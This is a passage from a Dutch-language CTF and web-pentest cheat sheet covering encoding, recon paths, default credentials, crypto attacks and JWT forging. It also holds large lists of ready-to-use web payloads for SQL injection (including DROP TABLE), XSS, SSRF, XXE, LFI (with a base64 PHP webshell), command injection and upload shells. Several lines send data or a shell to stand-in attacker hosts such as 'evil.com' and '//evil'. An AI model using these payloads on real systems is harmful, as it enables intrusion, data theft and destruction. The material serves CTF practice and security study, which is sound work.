Als je een payload in een URL stopt, moet je speciale tekens encoderen. Anders breekt de request. Denk aan spaties (%20 of +), &, =, en Unicode. Voor een exploit wil je soms dubbel encoderen (server decodeert twee keer). Test altijd of de server één of twee keer decodeert.

```
from urllib.parse import quote, unquote, quote_plus

quote("a b&c")           # "a%20b%26c"
unquote("a%20b%26c")     # "a b&c"
quote_plus("a b")        # "a+b"
unquote("a%2520b")       # "a%20b" (dubbel gedecodeerd)
```

8.7 HTML-entities

Gedachtegang

Als je XSS probeert of een filter omzeilt, kan HTML-encoding helpen. Soms filtert een server "<script>" maar niet "<script>". Let op: encoding verandert de betekenis. Gebruik het alleen als je weet hoe de browser het leest.

```
import html

html.escape("<b>")           # "&lt;b&gt;"
html.unescape("&lt;b&gt;")   # "<b>"

# Numerieke entities (handig voor bypasses):
# &#60;script&#62;  -> <script>
# &#x3C;script&#x3E; -> <script>
```

8.8 JSON: compact, sorted, raw

Gedachtegang

Dit is de #1 valkuil bij signatures. De server kan de **exacte bytes** signeren die hij verstuurt. Als jij hetzelfde object opnieuw serialiseert met andere spaties of key-volgorde, klopt de signature niet. Dus: test altijd eerst of RAW doorsturen werkt, dan pas herserialiseren.

```
import json
msg = {"action": "view", "role": "user"}

raw         = json.dumps(msg)                          # standaard
compact     = json.dumps(msg, separators=(",", ":"))   # compact
sorted_keys = json.dumps(msg, sort_keys=True)          # gesorteerd

# Met Unicode (ensure_ascii):
raw_uni     = json.dumps(msg, ensure_ascii=False)

# Met newline aan het einde (sommige servers verwachten dat):
raw_nl      = json.dumps(msg) + "\n"
```

8.9 Raw HTTP

Gedachtegang

Soms moet je zelf HTTP praten (rare headers, geen library, of om parser-verschillen te testen). Dan bouw je de request met de hand. Content-Length is **aantal bytes**, niet aantal tekens. Gebruik altijd `\r\n` als regeleinde. Dit is ook hoe je request smuggling test.

```
import socket

HOST = "example.com"
PORT = 80

def raw_http(path, method="GET", headers=None, body=""):
    headers = headers or {}
    body_bytes = body.encode("utf-8")
    lines = [f"{method} {path} HTTP/1.1", f"Host: {HOST}"]
    for k, v in headers.items():
        lines.append(f"{k}: {v}")
    lines.append(f"Content-Length: {len(body_bytes)}")
    lines.append("Connection: close")
    request = "\r\n".join(lines) + "\r\n\r\n" + body

    with socket.socket() as s:
        s.connect((HOST, PORT))
        s.sendall(request.encode("utf-8"))
        data = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
    return data.decode("utf-8", errors="replace")
```

9 Extra encoding-trucs

9.1 Unicode-trucs

Gedachtegang

Sommige filters kijken naar letters, maar niet naar Unicode-varianten. Of een parser normaliseert Unicode op een verrassende manier. Dit is handig voor bypasses:

- Volledige breedte (fullwidth): “A” ipv “a”
- Combining characters: “a” + accent

- Zero-width: \u200b, \u200c, \u200d
- Right-to-left override: \u202e

```
# Fullwidth 'a':
s = "\uff41"        # fullwidth a
# Zero-width space:
z = "\u200b"
# RTL override:
rtl = "\u202e"
```

9.2 ROT13 / ROT-N

Gedachtegang

ROT13 is een hint dat er een simpele shift-cipher is. Vaak staat er in een challenge “rot13” of je ziet alleen letters. Probeer ROT13 en Caesar-shifts 0..25 voordat je iets ingewikkelds doet. ROT-N met N=13 is zijn eigen inverse.

```
import codecs

codecs.encode("Hallo", "rot_13")

def rot_n(s, n):
    out = []
    for c in s:
        if c.isalpha():
            base = ord("A") if c.isupper() else ord("a")
            out.append(chr((ord(c) - base + n) % 26 + base))
        else:
            out.append(c)
    return "".join(out)
```

9.3 Morse

Gedachtegang

Als je alleen punten, streepjes en spaties ziet: morse. Soms met / als woord-scheider. Er zijn ook varianten met cijfers en leestekens.

```
MORSE = {
  ".-":"A","-...":"B","-.-.":"C","-..":"D",".":"E",
  "..-.":"F","--.":"G","....":"H","..":"I",".---":"J",
  "-.-":"K",".-..":"L","--":"M","-.":"N","---":"O",
  ".--.":"P","--.-":"Q",".-.":"R","...":"S","-":"T",
  "..-":"U","...-":"V",".--":"W","-..-":"X","-.--":"Y",
  "--..":"Z",
}

def morse_decode(s):
    return " ".join(
        "".join(MORSE.get(c, "?") for c in word)
        for word in s.split("/")
    )
```

9.4 Bacon / binary-as-tekst

Gedachtegang

Soms is tekst gecodeerd als A/B of 0/1 in groepjes van 5. Dat is Bacon’s cipher. Of als 8-bit binair per byte.

```
# Bacon (A=00000, B=00001, ...)
def bacon_decode(s):
    out = []
    for i in range(0, len(s), 5):
```

```
        chunk = s[i:i+5]
        if not chunk.strip():
            continue
        n = 0
        for c in chunk:
            n = (n << 1) | (1 if c in "B1" else 0)
        out.append(chr(ord("A") + n))
    return "".join(out)
```

9.5 Brainfuck

Gedachtegang

Als je alleen + - < > . , [ ] ziet: brainfuck. Er zijn veel varianten (Ook!, Malbolge, Whitespace). Voor CTF is een simpele interpreter vaak genoeg.

```
def brainfuck(code, input_data=""):
    tape = [0] * 30000
    ptr = 0
    ip = 0
    inp = list(input_data)
    out = []
    while ip < len(code):
        c = code[ip]
        if c == "+": tape[ptr] = (tape[ptr] + 1) & 0xff
        elif c == "-": tape[ptr] = (tape[ptr] - 1) & 0xff
        elif c == ">": ptr += 1
        elif c == "<": ptr -= 1
        elif c == ".": out.append(chr(tape[ptr]))
        elif c == ",": tape[ptr] = ord(inp.pop(0)) if inp else 0
        elif c == "[" and tape[ptr] == 0:
            depth = 1
            while depth:
                ip += 1
                if code[ip] == "[": depth += 1
                elif code[ip] == "]": depth -= 1
        elif c == "]" and tape[ptr] != 0:
            depth = 1
            while depth:
                ip -= 1
                if code[ip] == "]": depth += 1
                elif code[ip] == "[": depth -= 1
        ip += 1
    return "".join(out)
```

10 Recon en informatie lekken

Gedachtegang

Voordat je iets aanvalt, kijk je rond. Vaak ligt de flag of de hint gewoon in een publiek bestand. Dit kost 5 minuten en levert vaak de helft van de oplossing. Begin hier altijd mee, ook als je denkt dat je het antwoord al weet.

10.1 Bestanden en paden

```
/robots.txt         (verboden paden)
/sitemap.xml        (alle URL's)
/.git/HEAD          (source lek)
/.git/config        (repos)
/.env               (secrets, DB-creds)
/backup.zip         (backups)
/config.php.bak     (backup van config)
/index.php~         (editor backup)
/www.zip, /site.tar.gz
/crossdomain.xml
/phpinfo.php
```

```
/server-status
```

10.2 HTML en JS

- Comments in HTML: `<!-- ... -->`
- Comments in JS: `// ...`, `/* ... */`
- JS-bestanden: API-keys, endpoints, debug-paden
- Sourcemaps: `/static/app.js.map` (volledige source)
- Hidden inputs: `<input type="hidden" name="..." value="...">`
- Data-attributen: `data-role="admin"`

10.3 Headers

- `Server`: nginx/1.18.0
- `X-Powered-By`: PHP/7.4
- `X-Debug-Token`: Symfony debug
- `Set-Cookie`: sessie-info, flags (HttpOnly, Secure)
- `Location`: redirect-doel
- `Access-Control-Allow-Origin`: CORS-misconfig

10.4 Default credentials

```
admin / admin
admin / password
admin / admin123
guest / guest
user / user
root / root
test / test
administrator / administrator
admin / (leeg)
```

10.5 DNS en subdomeinen

Gedachtegang

Soms staat de flag op een subdomein. Kijk naar:

- dev., staging., test., admin., api., internal.
- TXT-records (SPF, DKIM, verificatie)
- CNAME naar cloud-diensten

10.6 Error messages

Gedachtegang

Forceer een fout. Vaak lekt de server paden, versies, SQL-queries of stack traces. Dat vertelt je welke tech het is en waar de zwakke plek zit.

- Stuur rare input (`'`, `\x00`, extreem lang)
- Verwijder een parameter
- Stuur verkeerde Content-Type
- Stuur ongeldige JSON

11 Web-klassiekers (met payloads)

Gedachtegang

Je kiest de attack op basis van HOE de input in de app terechtkomt. Zie je een loginformulier? SQLi/NoSQLi. Zie je "?file="? LFI. Zie je een XML-endpoint? XXE. Zie je "?id="? IDOR. Zo werk je van "input" naar "attack".

11.1 SQL injection

Herkenning

Login, zoek, filter, `?id=`, `?category=`. Foutmeldingen met SQL, "syntax error", "SQLSTATE".

```
' OR 1=1--
' OR '1'='1
admin'--
' UNION SELECT NULL--
' UNION SELECT username, password FROM users--
' AND SLEEP(5)--
' AND 1=1--  (waar)
' AND 1=2--  (onwaar)
'; DROP TABLE users--
' OR 1=1 LIMIT 1 OFFSET 0--
```

Blind SQLi:

```
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND (SELECT COUNT(*) FROM users) > 5--
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
```

Time-based:

```
'; WAITFOR DELAY '0:0:5'--
' OR pg_sleep(5)--
```

11.2 NoSQL injection

Herkenning

MongoDB, CouchDB, Express + Mongoose. JSON-body met `{"username": "...", "password": "..."}`.

```
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "x"}}
{"$or": [{"username": "admin"}, {"username": "user"}]}
```

11.3 XSS

Herkenning

User input komt terug in HTML zonder escaping. Reflected (in URL), stored (in DB), DOM-based (in JS).

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
```

```
javascript:alert(1)
<script>fetch('/admin').then(r=>r.text()).then(t=>fetch('//evil/?c='+t))</script>
```

Bypasses:

```
<ScRiPt>alert(1)</ScRiPt>
<script>alert`1`</script>
<svg/onload=alert(1)>
<img src=x onerror=alert&#40;1&#41;>
```

11.4 CSRF

Herkenning

Actie zonder CSRF-token. Cookie-based sessie. GET-actie die data wijzigt (fout ontwerp).

```
<form action="https://target/change-password" method="POST">
  <input type="hidden" name="password" value="hacked">
</form>
<script>document.forms[0].submit()</script>
```

11.5 SSRF

Herkenning

"url=", "link=", "image=", "fetch=", "webhook=". Server haalt externe bron op. PDF-generator, image-resizer, webhook.

```
http://127.0.0.1/
http://localhost:8080/
http://[::1]/
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:11211/stat
```

Bypasses:

```
http://127.0.0.1:80@evil.com/
http://evil.com#@127.0.0.1/
http://127.1/
http://0x7f.0.0.1/
http://2130706433/
```

11.6 XXE

Herkenning

XML-input (SOAP, SAML, RSS, SVG). `Content-Type: application/xml`.

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://evil/leak">]>
<foo>&xxe;</foo>
```

Blind XXE (via out-of-band):

```
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://evil/evil.dtd">
  %dtd;
]>
```

11.7 LFI / RFI

Herkenning

`?file=`, `?page=`, `?include=`, `?lang=`. Foutmelding met paden.

```
../../../../etc/passwd
....//....//....//etc/passwd  (filter bypass)
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.toupper/resource=index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
/proc/self/environ
/var/log/apache2/access.log
```

11.8 Path traversal

Herkenning

Bestandsnaam parameter (`?img=`, `?download=`). Upload-pad.

```
../../../etc/passwd
..%2f..%2f..%2fetc/passwd
..%252f..%252f..%252fetc/passwd  (dubbel)
..\..\..\etc\passwd        (Windows)
```

11.9 Command injection

Herkenning

“ping”, “convert”, “nslookup”, “git clone”, “curl”. Output van shell-commando’s zichtbaar.

```
; id
| id
|| id
& id
&& id
`id`
$(id)
$(cat /etc/passwd)
; cat /etc/passwd
| nc evil.com 4444
```

11.10 SSTI

Herkenning

User input in template (naam, bericht, e-mail). Foutmelding met “template” of framework-naam.

```
{{7*7}}       -> 49
{{7*'7'}}     -> 7777777
${7*7}
#{7*7}
<%= 7*7 %>
{{ config }}
{{ self.__class__.__mro__ }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
```

11.11 IDOR

Herkenning

`?id=1`, `?user=guest`, `?order=1001`. API-pad `/api/users/1`.

```
?id=2
?id=0
?id=-1
?id=999999
/api/users/admin
/api/users/../../etc/passwd
```

11.12 Open redirect

Herkenning

`?next=`, `?redirect=`, `?url=`, `?return=`. Login die terugstuurt naar “vorige pagina”.

```
?next=https://evil.com
?next=//evil.com
?next=https:evil.com
?next=/\evil.com
?next=https://target.com@evil.com
```

11.13 CORS misconfig

Herkenning

`Access-Control-Allow-Origin: *` of reflecteert Origin. `Access-Control-Allow-Credentials: true`.

```
// Payload (in browser):
fetch('https://target/api/me', {credentials: 'include'})
  .then(r => r.text())
  .then(t => fetch('https://evil/?c='+btoa(t)))
```

11.14 File upload

Herkenning

Upload-formulier, avatar, document. Geen extensie-check of alleen client-side.

```
shell.php, shell.php.jpg, shell.pHp, shell.php%00.jpg
Content-Type: image/png (maar PHP-body)
.htaccess met AddType application/x-httpd-php .jpg
```

11.15 Race condition

Herkenning

Coupon inwisselen, saldo, stemmen, limiet. “Maar één keer” maar veel snelle requests lukken.

Aanpak

Stuur N requests tegelijk (threads/asyncio). Kijk of de teller vaker dan één keer omhoog gaat.

11.16 Mass assignment

Herkenning

JSON-body met user-veld. Framework dat automatisch velden vult.

```
{"username": "x", "password": "y", "is_admin": true}
{"email": "x", "role": "admin"}
{"__proto__": {"is_admin": true}}  (prototype pollution)
```

11.17 Insecure deserialization

Herkenning

- Base64-string met "gASV" (Python pickle)
- Java: "rO0AB" (base64 van 0xACED)
- PHP: `O:8:"stdClass"`
- .NET: "AAEAAAD/////"

Aanpak

- Python pickle: maak een `__reduce__` die een shell start.
- Java: ysoserial (CommonsCollections, etc.).
- PHP: POP-chain met `__wakeup`/`__destruct`.

12 Crypto-klassiekers (met code)

Gedachtegang

Crypto valt bijna altijd in 3 soorten: (1) key te klein, dus brute force; (2) key hergebruikt, dus XOR; (3) mode verkeerd, dus ECB/CBC/CTR-aanval. Eerst kijken: welke van de 3 is het?

12.1 XOR-aanvallen

Gedachtegang

XOR is zijn eigen inverse. Als je 2 van de 3 waarden hebt (pt, ct, keystream), ken je de derde. Bij stream ciphers en CTR-mode is de keystream hetzelfde voor dezelfde key+nonce. Dus als 2 berichten met dezelfde nonce versleuteld zijn: $c_1 \oplus c_2 = p_1 \oplus p_2$. Als je p_1 kent, ken je p_2.

```python
def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))

def recover_via_nonce_reuse(known_ct, known_pt, target_ct):
    keystream = xor_bytes(known_ct, known_pt)
    n = min(len(target_ct), len(keystream))
    return xor_bytes(target_ct[:n], keystream[:n])

# FOUT die je vaak ziet:
#   keystream = xor(known_ct, flag_ct)   <-- dit is p1 ^ p2, niet de keystream
# GOED:
#   keystream = xor(known_ct, known_pt)
```

12.2 Bit-flipping op stream cipher / CTR

Gedachtegang

Omdat $ct = pt \oplus ks$, kan je op een gekozen positie de plaintext veranderen door `ct[i] ^= (old ^ new)`. Je hoeft de key niet te kennen. Dit werkt bij elke stream cipher en bij CTR-mode.

```python
def bitflip_change_plaintext(ct, old_pt, new_pt, offset=0):
    assert len(old_pt) == len(new_pt)
    patch = xor_bytes(old_pt, new_pt)
    out = bytearray(ct)
    for i, p in enumerate(patch):
        out[offset + i] ^= p
    return bytes(out)
```

12.3 ECB pattern attack

Gedachtegang

ECB versleutelt elk blok apart. Identieke plaintext-blokken geven identieke ciphertext-blokken. Dus als je 16-byte blokken in de ciphertext ziet herhalen, is het ECB. Dan weet je ook dat je blokken kan herordenen of samenstellen.

```python
def find_repeated_blocks(data, block_size=16):
    blocks = [data[i:i+block_size] for i in range(0, len(data), block_size)]
    seen = {}
    repeats = []
    for idx, blk in enumerate(blocks):
        if blk in seen:
            repeats.append((seen[blk], idx, blk.hex()))
        else:
            seen[blk] = idx
    return repeats
```

12.4 CBC bit-flipping

Gedachtegang

In CBC wordt $pt[i] = D(ct[i]) \oplus ct[i-1]$. Dus als je $ct[i-1]$ aanpast, verandert $pt[i]$ op een voorspelbare manier. Dit werkt op elk blok behalve het eerste (dat gebruikt de IV). De truc: je kent de plaintext niet, maar je kan wel een gewenste wijziging doorvoeren als je de huidige plaintext kent (bv. via een error of een bekend veld).

```python
def cbc_bitflip(ct, block_index, old_byte, new_byte):
    out = bytearray(ct)
    # pas het VORIGE blok aan
    pos = (block_index - 1) * 16
    out[pos] ^= (old_byte ^ new_byte)
    return bytes(out)
```

12.5 CBC padding oracle

Gedachtegang

Als de server een padding-error anders behandelt dan een andere error (bv. andere statuscode of andere tekst), dan heb je een padding oracle. Je kan dan blok voor blok de plaintext achterhalen zonder de key te kennen.

Aanpak

- Laatste blok: probeer alle 256 waarden voor laatste byte van vorige blok. Als padding klopt (0x01), heb je de laatste plaintext-byte.
- Ga door met 0x02 0x02, 0x03 0x03 0x03, enz.
- Libraries: padbuster, of zelf een loop.

12.6 DES brute force

Gedachtegang

DES heeft een 56-bit key. Dat is te veel voor een thuis-pc, maar als de key een patroon heeft (bv. "IOTDEV" + 2 cijfers), is de ruimte klein. Probeer alle kandidaten en check op leesbare output.

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def des_ecb_bruteforce(ct, prefix, max_suffix=100):
    for i in range(max_suffix):
        key = (prefix + f"{i:02d}").encode()
        if len(key) != 8:
            continue
        c = Cipher(algorithms.TripleDES(key), modes.ECB())
        try:
            pt = c.decryptor().update(ct)
            if all(32 <= b < 127 for b in pt[:16]):
                return key, pt
        except Exception:
            continue
    return None, None
```

12.7 Meet-in-the-middle

Gedachtegang

2x encryptie met 2 korte sleutels (bv. 20 bit elk) breek je **niet** met 2^{40} pogingen, maar met $2^{20} + 2^{20}$. Je bouwt een tabel van alle tussenstanden bij encryptie en zoekt aan de andere kant tot je een match vindt. Dit werkt bij elke $E_{k_2}(E_{k_1}(pt))$-constructie.

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def make_key(k):
    return k.to_bytes(3, "big") + b"\x00" * 13

def aes_ecb_enc(key, block):
    return Cipher(algorithms.AES(key), modes.ECB()).encryptor().update(block)

def aes_ecb_dec(key, block):
    return Cipher(algorithms.AES(key), modes.ECB()).decryptor().update(block)

def mitm(known_pt, known_ct, key_bits=20):
    table = {}
    for k1 in range(2 ** key_bits):
        table[aes_ecb_enc(make_key(k1), known_pt)] = k1
    for k2 in range(2 ** key_bits):
        mid = aes_ecb_dec(make_key(k2), known_ct)
        if mid in table:
            return table[mid], k2
    return None
```

12.8 LCG / PRNG voorspellen

Gedachtegang

Een LCG is `state = (A*state + C) mod M`. Als je een paar output-bytes kent en A, C, M zijn bekend, kan je de state terugrekenen of de seed brute-forcen. Dit is de klassieke "Replanting"-opgave.

```
A, C, M = 1103515245, 12345, 2**31

def lcg_next(state):
    return (A * state + C) % M

def lcg_keystream(seed, length):
    state = seed
    ks = bytearray()
    for _ in range(length):
```

```
        state = lcg_next(state)
        ks.append((state >> 16) & 0xff)
    return bytes(ks)

def brute_seed(known_pt, known_ct, seed_bits=24):
    target = xor_bytes(known_pt, known_ct)
    for seed in range(2 ** seed_bits):
        if lcg_keystream(seed, 4) == target[:4]:
            if lcg_keystream(seed, len(target)) == target:
                return seed
    return None
```

12.9 Vigenère

Gedachtegang

Vigenère heeft een herhaalde key, dus patronen. Kasiski of index of coincidence geeft de key-lengte. Dan is elke kolom een Caesar-shift. Voor korte keys is brute force sneller.

```
def vigenere_decrypt(ct, key):
    out, ki = [], 0
    for c in ct:
        if c.isalpha():
            base = 65 if c.isupper() else 97
            k = ord(key[ki % len(key)].lower()) - 97
            out.append(chr((ord(c) - base - k) % 26 + base))
            ki += 1
        else:
            out.append(c)
    return "".join(out)

def caesar_brute_force(ct):
    for shift in range(26):
        pt = "".join(
            chr((ord(c) - 65 - shift) % 26 + 65) if c.isupper()
            else chr((ord(c) - 97 - shift) % 26 + 97) if c.islower()
            else c
            for c in ct
        )
        print(shift, pt)
```

12.10 RSA-klassiekers (kort)

Gedachtegang

RSA valt bijna altijd op één van deze: kleine e ($e = 3$), kleine modulus (factorerbaar), gedeelde factor (GCD), zwakke random (zelfde p voor 2 n's), of een padding-fout.

Aanpak

- $e = 3$ en kleine plaintext: cube root attack.
- n klein: probeer te factoreren (`sympy.factorint`).
- 2 n's met gedeelde p: $\gcd(n_1, n_2)$.
- Wiener: kleine d.
- Håstad: broadcast met kleine e.

```
from math import gcd, isqrt

def factor_via_shared_p(n1, n2):
    p = gcd(n1, n2)
    if p > 1 and p < n1:
        return p, n1 // p
    return None

def cube_root(n):
    lo, hi = 0, 1
    while hi ** 3 < n:
        hi *= 2
    while lo < hi:
```

```
        mid = (lo + hi) // 2
        if mid ** 3 < n:
            lo = mid + 1
        else:
            hi = mid
    return lo
```

12.11 Timing-aanval

Gedachtegang

Als de server byte-voor-byte vergelijkt met `==`, lekt de tijd hoeveel bytes kloppen. Je kan dan byte voor byte raden. Gebruik `hmac.compare_digest` om dit te voorkomen. Voor een CTF: meet veel requests, middel de tijd, zoek de uitschieter.

13 Reverse engineering: custom hash, ciphers, binaries

13.1 Checklist voor je begint

Gedachtegang

Je hebt een hash-functie (of alleen output) en je wil terug naar de input. Denk altijd eerst: is het een standaardhash of custom? Kijk naar de output-lengte. 8 hex = 32 bit. 16 hex = 64 bit. 64 hex = SHA-256. Als het een standaardhash is, probeer `hashlib` en bekende woorden. Is het custom, dan ga je op zoek naar omkeerbare stappen.

1. Lengte van output: 8/16/32/40/64/128 hex?
2. Is het een standaardhash? Probeer `hashlib`.
3. Is het custom? Kijk naar rondes, XOR, rotate, shift, add, S-box.
4. Welke operaties zijn omkeerbaar?
5. Niet omkeerbaar? Brute force, z3, of known plaintext.
6. Verifieer altijd: `forward(reverse(x)) == x`.

13.2 Omkeerbare operaties

Gedachtegang

Bijna alles wat een CTF-hash doet, is omkeerbaar. Dat is de hele truc. Je bouwt de inverse van elke stap en draait de rondes achterstevoren.

Operatie	Inverse
XOR	XOR
rotate links	rotate rechts
rotate rechts	rotate links
add constante mod N	subtract
multiply (oneven)	via modular inverse
byte-permutatie	inverse permutatie
array-rotatie	inverse rotatie
S-box (bijectief)	inverse S-box
bit-reverse	zelfde functie
nibble-swap	zelfde functie

Opmerking

Niet omkeerbaar: AND / OR, truncatie, niet-bijectieve S-box. → dan brute force of z3.

13.3 Inverse-patronen (code)

```python
def ror8(x, n):
    n %= 8
    return ((x >> n) | (x << (8 - n))) & 0xff

def rol8(x, n):
    n %= 8
    return ((x << n) | (x >> (8 - n))) & 0xff

# XOR-chain terugdraaien
for i in range(len(state) - 1, 0, -1):
    state[i] ^= state[i - 1]

# Array-rotatie terugdraaien
state = state[-1:] + state[:-1]

# Add/sub terugdraaien
state[i] = (state[i] - constante) & 0xff

# Modulaire inverse (voor multiply)
inv = pow(a, -1, 256)  # a moet oneven zijn
state[i] = (state[i] * inv) & 0xff
```

13.4 Voorbeeld: custom hash reversen

```python
def forward_hash(msg, rounds=8):
    state = bytearray(msg.encode())
    for rnd in range(rounds):
        for i in range(len(state)):
            state[i] ^= (rnd * 41 + i * 17) & 0xff
            state[i] = rol8(state[i], (rnd + i) & 7)
        for i in range(1, len(state)):
            state[i] ^= state[i - 1]
        state = state[1:] + state[:1]
    return state.hex()

def reverse_hash(hex_digest, rounds=8):
    state = bytearray.fromhex(hex_digest)
    for rnd in range(rounds - 1, -1, -1):
        state = state[-1:] + state[:-1]
        for i in range(len(state) - 1, 0, -1):
            state[i] ^= state[i - 1]
        for i in range(len(state) - 1, -1, -1):
            state[i] = ror8(state[i], (rnd + i) & 7)
            state[i] ^= (rnd * 41 + i * 17) & 0xff
    return bytes(state)

# Verplicht checken:
assert forward_hash(reverse_hash(forward_hash("test").hex()).hex()) == forward_hash("test")
```

13.5 Extra patronen

Patroon	Omkeren via
Vaste XOR-constante	`state[i] ^= K`
Index-afhankelijke XOR	zelfde formule opnieuw
Cumulatieve XOR	van achter naar voor terug
Rotatie van hele array	inverse rotatie
Byte-swap / nibble-swap	inverse swap
Bit-reverse	zelfde functie
Modulaire optelling	aftrekken mod 2^n
Modulaire vermenigvuldiging	`pow(a, -1, 2**n)`
LCG	`state = (A*state + C) mod M`
S-box	inverse tabel
Feistel-achtig	elke ronde omkeren
Onbekende constante	brute force of z3

13.6 Als het niet volledig omkeerbaar is

Gedachtegang

Niet elke hash is 100% omkeerbaar. Soms zit er een AND of een truncatie in. Dan moet je een andere weg zoeken: known plaintext, brute force, of een solver.

Aanpak

- Brute force kleine onbekende delen (seed, pincode)
- Known plaintext: 1 input/output → constanten afleiden
- z3-solver: constraints op bits/bytes
- Meet-in-the-middle: dubbele encryptie korte deelsleutels
- Collision/preimage: alleen als output klein is of inputruimte klein

13.7 z3-voorbeeld

Gedachtegang

Als je de inverse niet kan bouwen omdat er een AND/OR in zit, kan je z3 gebruiken. Je beschrijft de forward-functie als constraints en laat z3 zoeken naar een input die de gegeven output geeft. Werkt alleen als de ruimte klein genoeg is (anders te traag).

```python
from z3 import BitVec, Solver, sat

def solve_with_z3(target_hex):
    n = len(bytes.fromhex(target_hex))
    x = [BitVec(f"x{i}", 8) for i in range(n)]
    s = Solver()
    # voorbeeld: y = (x + 7) ^ 0x41, per byte
    for i in range(n):
        y = (x[i] + 7) ^ 0x41
        s.add(y == bytes.fromhex(target_hex)[i])
    if s.check() == sat:
        m = s.model()
        return bytes(m[x[i]].as_long() for i in range(n))
    return None
```

13.8 Binary reverse (kort)

Gedachtegang

Bij een binary kijk je eerst naar de "shape": is het stripped? Welke taal? Welke libs? Dan naar de main en de check-functie. Vaak is de check een simpele vergelijking die je in de disassembly ziet.

Tools:

- `file`, `strings`, `objdump`, `readelf`, `nm`
- Ghidra, IDA, Binary Ninja, radare2
- `ltrace`, `strace`, `gdb`
- `upx -d` (unpack)

Patronen:

- `strcmp` / `memcmp` met een vaste string → flag in de binary
- XOR-loop met een vaste key → key eruithalen
- char-by-char vergelijking → 1 byte per keer raden
- anti-debug (ptrace, timing) → bypass met patches

14 JWT-aanvallen (uitgebreid)

Gedachtegang

Een JWT is `header.payload.signature`. Alle drie base64url zonder padding. De header zegt welk algoritme. De payload bevat claims. De signature is het bewijs. Als de server het algoritme blind vertrouwt, of de signature niet checkt, of de secret is zwak, dan kan je tokens vervalsen.

14.1 alg=none

```
import base64, json

def b64url_enc(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def forge_none(payload):
    header = {"alg": "none", "typ": "JWT"}
    h = b64url_enc(json.dumps(header, separators=(",", ":")).encode())
    p = b64url_enc(json.dumps(payload, separators=(",", ":")).encode())
    return f"{h}.{p}."

token = forge_none({"user": "guest", "role": "admin"})
```

14.2 Zwakke HMAC-secret

Gedachtegang

HS256 met een zwak secret breek je met een woordlijst. Tools: hashcat (mode 16500), jwt_tool, of zelf een loop.

```
import hmac, hashlib, base64

def try_secrets(token, wordlist):
    h, p, sig = token.split(".")
    signing_input = f"{h}.{p}".encode()
    for pw in wordlist:
        candidate = base64.urlsafe_b64encode(
            hmac.new(pw.encode(), signing_input, hashlib.sha256).digest()
        ).rstrip(b"=").decode()
        if candidate == sig:
            return pw
    return None
```

14.3 Algorithm confusion (RS256 → HS256)

Gedachtegang

Sommige servers accepteren zowel RS256 als HS256. Bij RS256 gebruikt de server zijn PRIVATE key om te signeren en zijn PUBLIC key om te verifiëren. Bij HS256 gebruikt hij één secret voor beide. De fout: de server gebruikt de PUBLIC key als HMAC-secret. Dan kan jij met de publieke key (die je kent!) een geldig HS256-token maken.

```
# schets
import hmac, hashlib, base64

def forge_hs256_with_pubkey(payload, public_key_pem):
    header = {"alg": "HS256", "typ": "JWT"}
    h = b64url_enc(json.dumps(header, separators=(",", ":")).encode())
    p = b64url_enc(json.dumps(payload, separators=(",", ":")).encode())
    signing_input = f"{h}.{p}".encode()
    sig = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
    return f"{h}.{p}.{b64url_enc(sig)}"
```

14.4 kid injection

Gedachtegang

De "kid" (key id) header vertelt de server welke key te gebruiken. Als de server die gebruikt om een bestand te lezen of in een query te stoppen, kan je path traversal of SQLi doen.

```
{"alg": "HS256", "kid": "../../etc/passwd"}
{"alg": "HS256", "kid": "/dev/null"}
{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}
```

14.5 jku / x5u SSRF

Gedachtegang

"jku" en "x5u" vertellen de server waar de key te halen. Als de server dat blind doet, kan je hem naar je eigen server laten wijzen met je eigen key.

```
{"alg": "RS256", "jku": "https://evil.com/jwks.json"}
```

14.6 JWT claim-trucs

- `role: "admin"` ipv `"user"`
- `is_admin: true`
- `sub: "admin"`
- `exp: 9999999999` (ver in de toekomst)
- `"admin": true` ipv role
- dubbele `"role"`-keys

15 Length extension (uitgebreid)

Gedachtegang

Als de MAC het patroon $H(\text{secret} \,\|\, \text{message})$ heeft, dan kan je met de bekende hash + lengte van secret een nieuwe hash berekenen voor `message || padding || extra`. Dit werkt **alleen** bij Merkle-Damgard hashes (MD5, SHA1, SHA256) als MAC. Bij HMAC werkt het niet. Bij SHA-3 werkt het niet.

Herkenning

- `signature = sha256(secret + body)`
- `signature = md5(key + data)`
- Geen HMAC in de code
- Je hebt een message + signature van de server

Wat heb je nodig?

- Originele message
- Originele signature
- Lengte van secret (raden of brute-forcen 0..64)
- De data die je wil toevoegen

Met hashpumpy:

```
import hashpumpy

for keylen in range(0, 65):
    for append in [b'"role":"admin"', b',"role":"admin"']:
        new_sig, new_body = hashpumpy.hashpump(
            old_sig, old_msg, append, keylen
        )
        # stuur new_body met new_sig naar de server
        r = post(new_body, new_sig)
```

```
        if "flag" in r.text.lower():
            print("KLAAR:", keylen, append)
```

Met hlextend:

```
import hlextend

for keylen in range(0, 65):
    sha = hlextend.new("sha256")
    new_sig = sha.extend(b'"role":"admin"', old_msg, keylen, old_sig)
    new_body = sha.generate()
    # stuur new_body + new_sig
```

Opmerking

